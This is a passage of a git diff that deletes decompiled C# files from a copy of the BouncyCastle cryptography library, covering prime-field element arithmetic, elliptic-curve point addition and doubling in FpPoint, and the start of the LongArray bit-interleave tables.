1) & 0x1F) + 1; - BigInteger bigInteger2 = r.Negate(); - BigInteger bigInteger3 = bigInteger2.Multiply(x.ShiftRight(bitLength - num)); - BigInteger bigInteger4 = bigInteger3.ShiftRight(bitLength + num); - BigInteger bigInteger5 = bigInteger4.Multiply(q); - BigInteger bigInteger6 = BigInteger.One.ShiftLeft(bitLength + num); - bigInteger5 = bigInteger5.Remainder(bigInteger6); - x = x.Remainder(bigInteger6); - x = x.Subtract(bigInteger5); - if (x.SignValue < 0) - { - x = x.Add(bigInteger6); - } - } - while (x.CompareTo(q) >= 0) - { - x = x.Subtract(q); - } - if (flag && x.SignValue != 0) - { - x = q.Subtract(x); - } - } - return x; - } - - protected virtual BigInteger ModSubtract(BigInteger x1, BigInteger x2) - { - BigInteger bigInteger = x1.Subtract(x2); - if (bigInteger.SignValue < 0) - { - bigInteger = bigInteger.Add(q); - } - return bigInteger; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is FpFieldElement other)) - { - return false; - } - return Equals(other); - } - - public virtual bool Equals(FpFieldElement other) - { - if (q.Equals(other.q)) - { - return base.Equals(other); - } - return false; - } - - public override int GetHashCode() - { - return q.GetHashCode() ^ base.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/FpPoint.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/FpPoint.cs deleted file mode 100644 index 51d6477..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/FpPoint.cs +++ /dev/null @@ -1,603 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Math.EC; - -public class FpPoint : AbstractFpPoint -{ - [Obsolete("Use ECCurve.CreatePoint to construct points")] - public FpPoint(ECCurve curve, ECFieldElement x, ECFieldElement y) - : this(curve, x, y, withCompression: false) - { - } - - [Obsolete("Per-point compression property will be removed, see GetEncoded(bool)")] - public FpPoint(ECCurve curve, ECFieldElement x, ECFieldElement y, bool withCompression) - : base(curve, x, y, withCompression) - { - if (x == null != (y == null)) - { - throw new ArgumentException("Exactly one of the field elements is null"); - } - } - - internal FpPoint(ECCurve curve, ECFieldElement x, ECFieldElement y, ECFieldElement[] zs, bool withCompression) - : base(curve, x, y, zs, withCompression) - { - } - - protected override ECPoint Detach() - { - return new FpPoint(null, AffineXCoord, AffineYCoord, withCompression: false); - } - - public override ECFieldElement GetZCoord(int index) - { - if (index == 1 && 4 == CurveCoordinateSystem) - { - return GetJacobianModifiedW(); - } - return base.GetZCoord(index); - } - - public override ECPoint Add(ECPoint b) - { - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return this; - } - if (this == b) - { - return Twice(); - } - ECCurve curve = Curve; - int coordinateSystem = curve.CoordinateSystem; - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement rawYCoord2 = b.RawYCoord; - switch (coordinateSystem) - { - case 0: - { - ECFieldElement eCFieldElement32 = rawXCoord2.Subtract(rawXCoord); - ECFieldElement eCFieldElement33 = rawYCoord2.Subtract(rawYCoord); - if (eCFieldElement32.IsZero) - { - if (eCFieldElement33.IsZero) - { - return Twice(); - } - return Curve.Infinity; - } - ECFieldElement eCFieldElement34 = eCFieldElement33.Divide(eCFieldElement32); - ECFieldElement eCFieldElement35 = eCFieldElement34.Square().Subtract(rawXCoord).Subtract(rawXCoord2); - ECFieldElement y3 = eCFieldElement34.Multiply(rawXCoord.Subtract(eCFieldElement35)).Subtract(rawYCoord); - return new FpPoint(Curve, eCFieldElement35, y3, base.IsCompressed); - } - case 1: - { - ECFieldElement eCFieldElement21 = base.RawZCoords[0]; - ECFieldElement eCFieldElement22 = b.RawZCoords[0]; - bool isOne3 = eCFieldElement21.IsOne; - bool isOne4 = eCFieldElement22.IsOne; - ECFieldElement eCFieldElement23 = (isOne3 ? rawYCoord2 : rawYCoord2.Multiply(eCFieldElement21)); - ECFieldElement eCFieldElement24 = (isOne4 ? rawYCoord : rawYCoord.Multiply(eCFieldElement22)); - ECFieldElement eCFieldElement25 = eCFieldElement23.Subtract(eCFieldElement24); - ECFieldElement eCFieldElement26 = (isOne3 ? rawXCoord2 : rawXCoord2.Multiply(eCFieldElement21)); - ECFieldElement b6 = (isOne4 ? rawXCoord : rawXCoord.Multiply(eCFieldElement22)); - ECFieldElement eCFieldElement27 = eCFieldElement26.Subtract(b6); - if (eCFieldElement27.IsZero) - { - if (eCFieldElement25.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement b7 = (isOne3 ? eCFieldElement22 : (isOne4 ? eCFieldElement21 : eCFieldElement21.Multiply(eCFieldElement22))); - ECFieldElement eCFieldElement28 = eCFieldElement27.Square(); - ECFieldElement eCFieldElement29 = eCFieldElement28.Multiply(eCFieldElement27); - ECFieldElement eCFieldElement30 = eCFieldElement28.Multiply(b6); - ECFieldElement b8 = eCFieldElement25.Square().Multiply(b7).Subtract(eCFieldElement29) - .Subtract(Two(eCFieldElement30)); - ECFieldElement x = eCFieldElement27.Multiply(b8); - ECFieldElement y2 = eCFieldElement30.Subtract(b8).MultiplyMinusProduct(eCFieldElement25, eCFieldElement24, eCFieldElement29); - ECFieldElement eCFieldElement31 = eCFieldElement29.Multiply(b7); - return new FpPoint(curve, x, y2, new ECFieldElement[1] { eCFieldElement31 }, base.IsCompressed); - } - case 2: - case 4: - { - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement eCFieldElement2 = b.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement zSquared = null; - ECFieldElement eCFieldElement7; - ECFieldElement y; - ECFieldElement eCFieldElement8; - if (!isOne && eCFieldElement.Equals(eCFieldElement2)) - { - ECFieldElement eCFieldElement3 = rawXCoord.Subtract(rawXCoord2); - ECFieldElement eCFieldElement4 = rawYCoord.Subtract(rawYCoord2); - if (eCFieldElement3.IsZero) - { - if (eCFieldElement4.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement5 = eCFieldElement3.Square(); - ECFieldElement eCFieldElement6 = rawXCoord.Multiply(eCFieldElement5); - ECFieldElement b2 = rawXCoord2.Multiply(eCFieldElement5); - ECFieldElement b3 = eCFieldElement6.Subtract(b2).Multiply(rawYCoord); - eCFieldElement7 = eCFieldElement4.Square().Subtract(eCFieldElement6).Subtract(b2); - y = eCFieldElement6.Subtract(eCFieldElement7).Multiply(eCFieldElement4).Subtract(b3); - eCFieldElement8 = eCFieldElement3; - if (isOne) - { - zSquared = eCFieldElement5; - } - else - { - eCFieldElement8 = eCFieldElement8.Multiply(eCFieldElement); - } - } - else - { - ECFieldElement b4; - ECFieldElement b5; - if (isOne) - { - ECFieldElement eCFieldElement9 = eCFieldElement; - b4 = rawXCoord2; - b5 = rawYCoord2; - } - else - { - ECFieldElement eCFieldElement9 = eCFieldElement.Square(); - b4 = eCFieldElement9.Multiply(rawXCoord2); - ECFieldElement eCFieldElement10 = eCFieldElement9.Multiply(eCFieldElement); - b5 = eCFieldElement10.Multiply(rawYCoord2); - } - bool isOne2 = eCFieldElement2.IsOne; - ECFieldElement eCFieldElement12; - ECFieldElement eCFieldElement13; - if (isOne2) - { - ECFieldElement eCFieldElement11 = eCFieldElement2; - eCFieldElement12 = rawXCoord; - eCFieldElement13 = rawYCoord; - } - else - { - ECFieldElement eCFieldElement11 = eCFieldElement2.Square(); - eCFieldElement12 = eCFieldElement11.Multiply(rawXCoord); - ECFieldElement eCFieldElement14 = eCFieldElement11.Multiply(eCFieldElement2); - eCFieldElement13 = eCFieldElement14.Multiply(rawYCoord); - } - ECFieldElement eCFieldElement15 = eCFieldElement12.Subtract(b4); - ECFieldElement eCFieldElement16 = eCFieldElement13.Subtract(b5); - if (eCFieldElement15.IsZero) - { - if (eCFieldElement16.IsZero) - { - return Twice(); - } - return curve.Infinity; - } - ECFieldElement eCFieldElement17 = eCFieldElement15.Square(); - ECFieldElement eCFieldElement18 = eCFieldElement17.Multiply(eCFieldElement15); - ECFieldElement eCFieldElement19 = eCFieldElement17.Multiply(eCFieldElement12); - eCFieldElement7 = eCFieldElement16.Square().Add(eCFieldElement18).Subtract(Two(eCFieldElement19)); - y = eCFieldElement19.Subtract(eCFieldElement7).MultiplyMinusProduct(eCFieldElement16, eCFieldElement18, eCFieldElement13); - eCFieldElement8 = eCFieldElement15; - if (!isOne) - { - eCFieldElement8 = eCFieldElement8.Multiply(eCFieldElement); - } - if (!isOne2) - { - eCFieldElement8 = eCFieldElement8.Multiply(eCFieldElement2); - } - if (eCFieldElement8 == eCFieldElement15) - { - zSquared = eCFieldElement17; - } - } - ECFieldElement[] zs; - if (coordinateSystem == 4) - { - ECFieldElement eCFieldElement20 = CalculateJacobianModifiedW(eCFieldElement8, zSquared); - zs = new ECFieldElement[2] { eCFieldElement8, eCFieldElement20 }; - } - else - { - zs = new ECFieldElement[1] { eCFieldElement8 }; - } - return new FpPoint(curve, eCFieldElement7, y, zs, base.IsCompressed); - } - default: - throw new InvalidOperationException("unsupported coordinate system"); - } - } - - public override ECPoint Twice() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return curve.Infinity; - } - int coordinateSystem = curve.CoordinateSystem; - ECFieldElement rawXCoord = base.RawXCoord; - switch (coordinateSystem) - { - case 0: - { - ECFieldElement x3 = rawXCoord.Square(); - ECFieldElement eCFieldElement10 = Three(x3).Add(Curve.A).Divide(Two(rawYCoord)); - ECFieldElement eCFieldElement11 = eCFieldElement10.Square().Subtract(Two(rawXCoord)); - ECFieldElement y2 = eCFieldElement10.Multiply(rawXCoord.Subtract(eCFieldElement11)).Subtract(rawYCoord); - return new FpPoint(Curve, eCFieldElement11, y2, base.IsCompressed); - } - case 1: - { - ECFieldElement eCFieldElement12 = base.RawZCoords[0]; - bool isOne2 = eCFieldElement12.IsOne; - ECFieldElement eCFieldElement13 = curve.A; - if (!eCFieldElement13.IsZero && !isOne2) - { - eCFieldElement13 = eCFieldElement13.Multiply(eCFieldElement12.Square()); - } - eCFieldElement13 = eCFieldElement13.Add(Three(rawXCoord.Square())); - ECFieldElement eCFieldElement14 = (isOne2 ? rawYCoord : rawYCoord.Multiply(eCFieldElement12)); - ECFieldElement eCFieldElement15 = (isOne2 ? rawYCoord.Square() : eCFieldElement14.Multiply(rawYCoord)); - ECFieldElement x4 = rawXCoord.Multiply(eCFieldElement15); - ECFieldElement eCFieldElement16 = Four(x4); - ECFieldElement eCFieldElement17 = eCFieldElement13.Square().Subtract(Two(eCFieldElement16)); - ECFieldElement eCFieldElement18 = Two(eCFieldElement14); - ECFieldElement x5 = eCFieldElement17.Multiply(eCFieldElement18); - ECFieldElement eCFieldElement19 = Two(eCFieldElement15); - ECFieldElement y3 = eCFieldElement16.Subtract(eCFieldElement17).Multiply(eCFieldElement13).Subtract(Two(eCFieldElement19.Square())); - ECFieldElement x6 = (isOne2 ? Two(eCFieldElement19) : eCFieldElement18.Square()); - ECFieldElement eCFieldElement20 = Two(x6).Multiply(eCFieldElement14); - return new FpPoint(curve, x5, y3, new ECFieldElement[1] { eCFieldElement20 }, base.IsCompressed); - } - case 2: - { - ECFieldElement eCFieldElement = base.RawZCoords[0]; - bool isOne = eCFieldElement.IsOne; - ECFieldElement eCFieldElement2 = rawYCoord.Square(); - ECFieldElement x = eCFieldElement2.Square(); - ECFieldElement a = curve.A; - ECFieldElement eCFieldElement3 = a.Negate(); - ECFieldElement eCFieldElement4; - ECFieldElement eCFieldElement5; - if (eCFieldElement3.ToBigInteger().Equals(BigInteger.ValueOf(3L))) - { - ECFieldElement b = (isOne ? eCFieldElement : eCFieldElement.Square()); - eCFieldElement4 = Three(rawXCoord.Add(b).Multiply(rawXCoord.Subtract(b))); - eCFieldElement5 = Four(eCFieldElement2.Multiply(rawXCoord)); - } - else - { - ECFieldElement x2 = rawXCoord.Square(); - eCFieldElement4 = Three(x2); - if (isOne) - { - eCFieldElement4 = eCFieldElement4.Add(a); - } - else if (!a.IsZero) - { - ECFieldElement eCFieldElement6 = (isOne ? eCFieldElement : eCFieldElement.Square()); - ECFieldElement eCFieldElement7 = eCFieldElement6.Square(); - eCFieldElement4 = ((eCFieldElement3.BitLength >= a.BitLength) ? eCFieldElement4.Add(eCFieldElement7.Multiply(a)) : eCFieldElement4.Subtract(eCFieldElement7.Multiply(eCFieldElement3))); - } - eCFieldElement5 = Four(rawXCoord.Multiply(eCFieldElement2)); - } - ECFieldElement eCFieldElement8 = eCFieldElement4.Square().Subtract(Two(eCFieldElement5)); - ECFieldElement y = eCFieldElement5.Subtract(eCFieldElement8).Multiply(eCFieldElement4).Subtract(Eight(x)); - ECFieldElement eCFieldElement9 = Two(rawYCoord); - if (!isOne) - { - eCFieldElement9 = eCFieldElement9.Multiply(eCFieldElement); - } - return new FpPoint(curve, eCFieldElement8, y, new ECFieldElement[1] { eCFieldElement9 }, base.IsCompressed); - } - case 4: - return TwiceJacobianModified(calculateW: true); - default: - throw new InvalidOperationException("unsupported coordinate system"); - } - } - - public override ECPoint TwicePlus(ECPoint b) - { - if (this == b) - { - return ThreeTimes(); - } - if (base.IsInfinity) - { - return b; - } - if (b.IsInfinity) - { - return Twice(); - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return b; - } - ECCurve curve = Curve; - switch (curve.CoordinateSystem) - { - case 0: - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawXCoord2 = b.RawXCoord; - ECFieldElement rawYCoord2 = b.RawYCoord; - ECFieldElement eCFieldElement = rawXCoord2.Subtract(rawXCoord); - ECFieldElement eCFieldElement2 = rawYCoord2.Subtract(rawYCoord); - if (eCFieldElement.IsZero) - { - if (eCFieldElement2.IsZero) - { - return ThreeTimes(); - } - return this; - } - ECFieldElement eCFieldElement3 = eCFieldElement.Square(); - ECFieldElement b2 = eCFieldElement2.Square(); - ECFieldElement eCFieldElement4 = eCFieldElement3.Multiply(Two(rawXCoord).Add(rawXCoord2)).Subtract(b2); - if (eCFieldElement4.IsZero) - { - return Curve.Infinity; - } - ECFieldElement eCFieldElement5 = eCFieldElement4.Multiply(eCFieldElement); - ECFieldElement b3 = eCFieldElement5.Invert(); - ECFieldElement eCFieldElement6 = eCFieldElement4.Multiply(b3).Multiply(eCFieldElement2); - ECFieldElement eCFieldElement7 = Two(rawYCoord).Multiply(eCFieldElement3).Multiply(eCFieldElement).Multiply(b3) - .Subtract(eCFieldElement6); - ECFieldElement eCFieldElement8 = eCFieldElement7.Subtract(eCFieldElement6).Multiply(eCFieldElement6.Add(eCFieldElement7)).Add(rawXCoord2); - ECFieldElement y = rawXCoord.Subtract(eCFieldElement8).Multiply(eCFieldElement7).Subtract(rawYCoord); - return new FpPoint(Curve, eCFieldElement8, y, base.IsCompressed); - } - case 4: - return TwiceJacobianModified(calculateW: false).Add(b); - default: - return Twice().Add(b); - } - } - - public override ECPoint ThreeTimes() - { - if (base.IsInfinity) - { - return this; - } - ECFieldElement rawYCoord = base.RawYCoord; - if (rawYCoord.IsZero) - { - return this; - } - ECCurve curve = Curve; - switch (curve.CoordinateSystem) - { - case 0: - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement eCFieldElement = Two(rawYCoord); - ECFieldElement eCFieldElement2 = eCFieldElement.Square(); - ECFieldElement eCFieldElement3 = Three(rawXCoord.Square()).Add(Curve.A); - ECFieldElement b = eCFieldElement3.Square(); - ECFieldElement eCFieldElement4 = Three(rawXCoord).Multiply(eCFieldElement2).Subtract(b); - if (eCFieldElement4.IsZero) - { - return Curve.Infinity; - } - ECFieldElement eCFieldElement5 = eCFieldElement4.Multiply(eCFieldElement); - ECFieldElement b2 = eCFieldElement5.Invert(); - ECFieldElement eCFieldElement6 = eCFieldElement4.Multiply(b2).Multiply(eCFieldElement3); - ECFieldElement eCFieldElement7 = eCFieldElement2.Square().Multiply(b2).Subtract(eCFieldElement6); - ECFieldElement eCFieldElement8 = eCFieldElement7.Subtract(eCFieldElement6).Multiply(eCFieldElement6.Add(eCFieldElement7)).Add(rawXCoord); - ECFieldElement y = rawXCoord.Subtract(eCFieldElement8).Multiply(eCFieldElement7).Subtract(rawYCoord); - return new FpPoint(Curve, eCFieldElement8, y, base.IsCompressed); - } - case 4: - return TwiceJacobianModified(calculateW: false).Add(this); - default: - return Twice().Add(this); - } - } - - public override ECPoint TimesPow2(int e) - { - if (e < 0) - { - throw new ArgumentException("cannot be negative", "e"); - } - if (e == 0 || base.IsInfinity) - { - return this; - } - if (e == 1) - { - return Twice(); - } - ECCurve curve = Curve; - ECFieldElement eCFieldElement = base.RawYCoord; - if (eCFieldElement.IsZero) - { - return curve.Infinity; - } - int coordinateSystem = curve.CoordinateSystem; - ECFieldElement eCFieldElement2 = curve.A; - ECFieldElement eCFieldElement3 = base.RawXCoord; - ECFieldElement eCFieldElement4 = ((base.RawZCoords.Length < 1) ? curve.FromBigInteger(BigInteger.One) : base.RawZCoords[0]); - if (!eCFieldElement4.IsOne) - { - switch (coordinateSystem) - { - case 1: - { - ECFieldElement eCFieldElement5 = eCFieldElement4.Square(); - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement4); - eCFieldElement = eCFieldElement.Multiply(eCFieldElement5); - eCFieldElement2 = CalculateJacobianModifiedW(eCFieldElement4, eCFieldElement5); - break; - } - case 2: - eCFieldElement2 = CalculateJacobianModifiedW(eCFieldElement4, null); - break; - case 4: - eCFieldElement2 = GetJacobianModifiedW(); - break; - } - } - for (int i = 0; i < e; i++) - { - if (eCFieldElement.IsZero) - { - return curve.Infinity; - } - ECFieldElement x = eCFieldElement3.Square(); - ECFieldElement eCFieldElement6 = Three(x); - ECFieldElement eCFieldElement7 = Two(eCFieldElement); - ECFieldElement eCFieldElement8 = eCFieldElement7.Multiply(eCFieldElement); - ECFieldElement eCFieldElement9 = Two(eCFieldElement3.Multiply(eCFieldElement8)); - ECFieldElement x2 = eCFieldElement8.Square(); - ECFieldElement eCFieldElement10 = Two(x2); - if (!eCFieldElement2.IsZero) - { - eCFieldElement6 = eCFieldElement6.Add(eCFieldElement2); - eCFieldElement2 = Two(eCFieldElement10.Multiply(eCFieldElement2)); - } - eCFieldElement3 = eCFieldElement6.Square().Subtract(Two(eCFieldElement9)); - eCFieldElement = eCFieldElement6.Multiply(eCFieldElement9.Subtract(eCFieldElement3)).Subtract(eCFieldElement10); - eCFieldElement4 = (eCFieldElement4.IsOne ? eCFieldElement7 : eCFieldElement7.Multiply(eCFieldElement4)); - } - switch (coordinateSystem) - { - case 0: - { - ECFieldElement eCFieldElement11 = eCFieldElement4.Invert(); - ECFieldElement eCFieldElement12 = eCFieldElement11.Square(); - ECFieldElement b = eCFieldElement12.Multiply(eCFieldElement11); - return new FpPoint(curve, eCFieldElement3.Multiply(eCFieldElement12), eCFieldElement.Multiply(b), base.IsCompressed); - } - case 1: - eCFieldElement3 = eCFieldElement3.Multiply(eCFieldElement4); - eCFieldElement4 = eCFieldElement4.Multiply(eCFieldElement4.Square()); - return new FpPoint(curve, eCFieldElement3, eCFieldElement, new ECFieldElement[1] { eCFieldElement4 }, base.IsCompressed); - case 2: - return new FpPoint(curve, eCFieldElement3, eCFieldElement, new ECFieldElement[1] { eCFieldElement4 }, base.IsCompressed); - case 4: - return new FpPoint(curve, eCFieldElement3, eCFieldElement, new ECFieldElement[2] { eCFieldElement4, eCFieldElement2 }, base.IsCompressed); - default: - throw new InvalidOperationException("unsupported coordinate system"); - } - } - - protected virtual ECFieldElement Two(ECFieldElement x) - { - return x.Add(x); - } - - protected virtual ECFieldElement Three(ECFieldElement x) - { - return Two(x).Add(x); - } - - protected virtual ECFieldElement Four(ECFieldElement x) - { - return Two(Two(x)); - } - - protected virtual ECFieldElement Eight(ECFieldElement x) - { - return Four(Two(x)); - } - - protected virtual ECFieldElement DoubleProductFromSquares(ECFieldElement a, ECFieldElement b, ECFieldElement aSquared, ECFieldElement bSquared) - { - return a.Add(b).Square().Subtract(aSquared) - .Subtract(bSquared); - } - - public override ECPoint Negate() - { - if (base.IsInfinity) - { - return this; - } - ECCurve curve = Curve; - if (curve.CoordinateSystem != 0) - { - return new FpPoint(curve, base.RawXCoord, base.RawYCoord.Negate(), base.RawZCoords, base.IsCompressed); - } - return new FpPoint(curve, base.RawXCoord, base.RawYCoord.Negate(), base.IsCompressed); - } - - protected virtual ECFieldElement CalculateJacobianModifiedW(ECFieldElement Z, ECFieldElement ZSquared) - { - ECFieldElement a = Curve.A; - if (a.IsZero || Z.IsOne) - { - return a; - } - if (ZSquared == null) - { - ZSquared = Z.Square(); - } - ECFieldElement eCFieldElement = ZSquared.Square(); - ECFieldElement eCFieldElement2 = a.Negate(); - if (eCFieldElement2.BitLength < a.BitLength) - { - return eCFieldElement.Multiply(eCFieldElement2).Negate(); - } - return eCFieldElement.Multiply(a); - } - - protected virtual ECFieldElement GetJacobianModifiedW() - { - ECFieldElement[] rawZCoords = base.RawZCoords; - ECFieldElement eCFieldElement = rawZCoords[1]; - if (eCFieldElement == null) - { - eCFieldElement = (rawZCoords[1] = CalculateJacobianModifiedW(rawZCoords[0], null)); - } - return eCFieldElement; - } - - protected virtual FpPoint TwiceJacobianModified(bool calculateW) - { - ECFieldElement rawXCoord = base.RawXCoord; - ECFieldElement rawYCoord = base.RawYCoord; - ECFieldElement eCFieldElement = base.RawZCoords[0]; - ECFieldElement jacobianModifiedW = GetJacobianModifiedW(); - ECFieldElement x = rawXCoord.Square(); - ECFieldElement eCFieldElement2 = Three(x).Add(jacobianModifiedW); - ECFieldElement eCFieldElement3 = Two(rawYCoord); - ECFieldElement eCFieldElement4 = eCFieldElement3.Multiply(rawYCoord); - ECFieldElement eCFieldElement5 = Two(rawXCoord.Multiply(eCFieldElement4)); - ECFieldElement eCFieldElement6 = eCFieldElement2.Square().Subtract(Two(eCFieldElement5)); - ECFieldElement x2 = eCFieldElement4.Square(); - ECFieldElement eCFieldElement7 = Two(x2); - ECFieldElement y = eCFieldElement2.Multiply(eCFieldElement5.Subtract(eCFieldElement6)).Subtract(eCFieldElement7); - ECFieldElement eCFieldElement8 = (calculateW ? Two(eCFieldElement7.Multiply(jacobianModifiedW)) : null); - ECFieldElement eCFieldElement9 = (eCFieldElement.IsOne ? eCFieldElement3 : eCFieldElement3.Multiply(eCFieldElement)); - return new FpPoint(Curve, eCFieldElement6, y, new ECFieldElement[2] { eCFieldElement9, eCFieldElement8 }, base.IsCompressed); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/LongArray.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/LongArray.cs deleted file mode 100644 index 9311a62..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/EC/LongArray.cs +++ /dev/null @@ -1,1507 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Math.EC; - -internal class LongArray -{ - private const string ZEROES = "0000000000000000000000000000000000000000000000000000000000000000"; - - private static readonly ushort[] INTERLEAVE2_TABLE = new ushort[256] - { - 0, 1, 4, 5, 16, 17, 20, 21, 64, 65, - 68, 69, 80, 81, 84, 85, 256, 257, 260, 261, - 272, 273, 276, 277, 320, 321, 324, 325, 336, 337, - 340, 341, 1024, 1025, 1028, 1029, 1040, 1041, 1044, 1045, - 1088, 1089, 1092, 1093, 1104, 1105, 1108, 1109, 1280, 1281, - 1284, 1285, 1296, 1297, 1300, 1301, 1344, 1345, 1348, 1349, - 1360, 1361, 1364, 1365, 4096, 4097, 4100, 4101, 4112, 4113, - 4116, 4117, 4160, 4161, 4164, 4165, 4176, 4177, 4180, 4181, - 4352, 4353, 4356, 4357, 4368, 4369, 4372, 4373, 4416, 4417, - 4420, 4421, 4432, 4433, 4436, 4437, 5120, 5121, 5124, 5125, - 5136, 5137, 5140, 5141, 5184, 5185, 5188, 5189, 5200, 5201, - 5204, 5205, 5376, 5377, 5380, 5381, 5392, 5393, 5396, 5397, - 5440, 5441, 5444, 5445, 5456, 5457, 5460, 5461, 16384, 16385, - 16388, 16389, 16400, 16401, 16404, 16405, 16448, 16449, 16452, 16453, - 16464, 16465, 16468, 16469, 16640, 16641, 16644, 16645, 16656, 16657, - 16660, 16661, 16704, 16705, 16708, 16709, 16720, 16721, 16724, 16725, - 17408, 17409, 17412, 17413, 17424, 17425, 17428, 17429, 17472, 17473, - 17476, 17477, 17488, 17489, 17492, 17493, 17664, 17665, 17668, 17669, - 17680, 17681, 17684, 17685, 17728, 17729, 17732, 17733, 17744, 17745, - 17748, 17749, 20480, 20481, 20484, 20485, 20496, 20497, 20500, 20501, - 20544, 20545, 20548, 20549, 20560, 20561, 20564, 20565, 20736, 20737, - 20740, 20741, 20752, 20753, 20756, 20757, 20800, 20801, 20804, 20805, - 20816, 20817, 20820, 20821, 21504, 21505, 21508, 21509, 21520, 21521, - 21524, 21525, 21568, 21569, 21572, 21573, 21584, 21585, 21588, 21589, - 21760, 21761, 21764, 21765, 21776, 21777, 21780, 21781, 21824, 21825, - 21828, 21829, 21840, 21841, 21844, 21845 - }; - - private static readonly int[] INTERLEAVE3_TABLE = new int[128] - { - 0, 1, 8, 9, 64, 65, 72, 73, 512, 513, - 520, 521, 576, 577, 584, 585, 4096, 4097, 4104, 4105, - 4160, 4161, 4168, 4169, 4608, 4609, 4616, 4617, 4672, 4673, - 4680, 4681, 32768, 32769, 32776, 32777, 32832, 32833, 32840, 32841, - 33280, 33281, 33288, 33289, 33344, 33345, 33352, 33353, 36864, 36865, - 36872, 36873, 36928, 36929, 36936, 36937, 37376, 37377, 37384, 37385, - 37440, 37441, 37448, 37449, 262144, 262145, 262152, 262153, 262208, 262209, - 262216, 262217, 262656, 262657, 262664, 262665, 262720, 262721, 262728, 262729, - 266240, 266241, 266248, 266249, 266304, 266305, 266312, 266313, 266752, 266753, - 266760, 266761, 266816, 266817, 266824, 266825, 294912, 294913, 294920, 294921, - 294976, 294977, 294984, 294985, 295424, 295425, 295432, 295433, 295488, 295489, - 295496, 295497, 299008, 299009, 299016, 299017, 299072, 299073, 299080, 299081, - 299520, 299521, 299528, 299529, 299584, 299585, 299592, 299593 - }; - - private static readonly int[] INTERLEAVE4_TABLE = new int[256] - { - 0, 1, 16, 17, 256, 257, 272, 273, 4096, 4097, - 4112, 4113, 4352, 4353, 4368, 4369, 65536, 65537, 65552, 65553, - 65792, 65793, 65808, 65809, 69632, 69633, 69648, 69649, 69888, 69889, - 69904, 69905, 1048576, 1048577, 1048592, 1048593, 1048832, 1048833, 1048848, 1048849, - 1052672, 1052673, 1052688, 1052689, 1052928, 1052929, 1052944, 1052945, 1114112, 1114113, - 1114128, 1114129, 1114368, 1114369, 1114384, 1114385, 1118208, 1118209, 1118224, 1118225, - 1118464, 1118465, 1118480, 1118481, 16777216, 16777217, 16777232, 16777233, 16777472, 16777473, - 16777488, 16777489, 16781312, 16781313, 16781328, 16781329, 16781568, 16781569, 16781584, 16781585, - 16842752, 16842753, 16842768, 16842769, 16843008, 16843009, 16843024, 16843025, 16846848, 16846849, - 16846864, 16846865, 16847104, 16847105, 16847120, 16847121, 17825792, 17825793, 17825808, 17825809, - 17826048, 17826049, 17826064, 17826065, 17829888, 17829889, 17829904, 17829905, 17830144, 17830145, - 17830160, 17830161, 17891328, 17891329, 17891344, 17891345, 17891584, 17891585, 17891600, 17891601, - 17895424, 17895425, 17895440, 17895441, 17895680, 17895681, 17895696, 17895697, 268435456, 268435457, - 268435472, 268435473, 268435712, 268435713, 268435728, 268435729, 268439552, 268439553, 268439568, 268439569, - 268439808, 268439809, 268439824, 268439825, 268500992, 268500993, 268501008, 268501009, 268501248, 268501249, - 268501264, 268501265, 268505088, 268505089, 268505104, 268505105, 268505344, 268505345, 268505360, 268505361, - 269484032, 269484033, 269484048, 269484049, 269484288, 269484289, 269484304, 269484305, 269488128, 269488129, - 269488144, 269488145, 269488384, 269488385, 269488400, 269488401, 269549568, 269549569, 269549584, 269549585, - 269549824, 269549825, 269549840, 269549841, 269553664, 269553665, 269553680, 269553681, 269553920, 269553921, - 269553936, 269553937, 285212672, 285212673, 285212688, 285212689, 285212928, 285212929, 285212944, 285212945, - 285216768, 285216769, 285216784, 285216785, 285217024, 285217025, 285217040, 285217041, 285278208, 285278209, - 285278224, 285278225, 285278464, 285278465, 285278480, 285278481, 285282304, 285282305, 285282320, 285282321, - 285282560, 285282561, 285282576, 285282577, 286261248, 286261249, 286261264, 286261265, 286261504, 286261505, - 286261520, 286261521, 286265344, 286265345, 286265360, 286265361, 286265600, 286265601, 286265616, 286265617, - 286326784, 286326785, 286326800, 286326801, 286327040, 286327041, 286327056, 286327057, 286330880, 286330881, - 286330896, 286330897, 286331136, 286331137, 286331152, 286331153 - }; - - private static readonly int[] INTERLEAVE5_TABLE = new int[128] - { - 0, 1, 32, 33, 1024, 1025, 1056, 1057, 32768, 32769, - 32800, 32801, 33792, 33793, 33824, 33825, 1048576, 1048577, 1048608, 1048609, - 1049600, 1049601, 1049632, 1049633, 1081344, 1081345, 1081376, 1081377, 1082368, 1082369, - 1082400, 1082401, 33554432, 33554433, 33554464, 33554465, 33555456, 33555457, 33555488, 33555489, - 33587200, 33587201, 33587232, 33587233, 33588224, 33588225, 33588256, 33588257, 34603008, 34603009, - 34603040, 34603041, 34604032, 34604033, 34604064, 34604065, 34635776, 34635777, 34635808, 34635809, - 34636800, 34636801, 34636832, 34636833, 1073741824, 1073741825, 1073741856, 1073741857, 1073742848, 1073742849, - 1073742880, 1073742881, 1073774592, 1073774593, 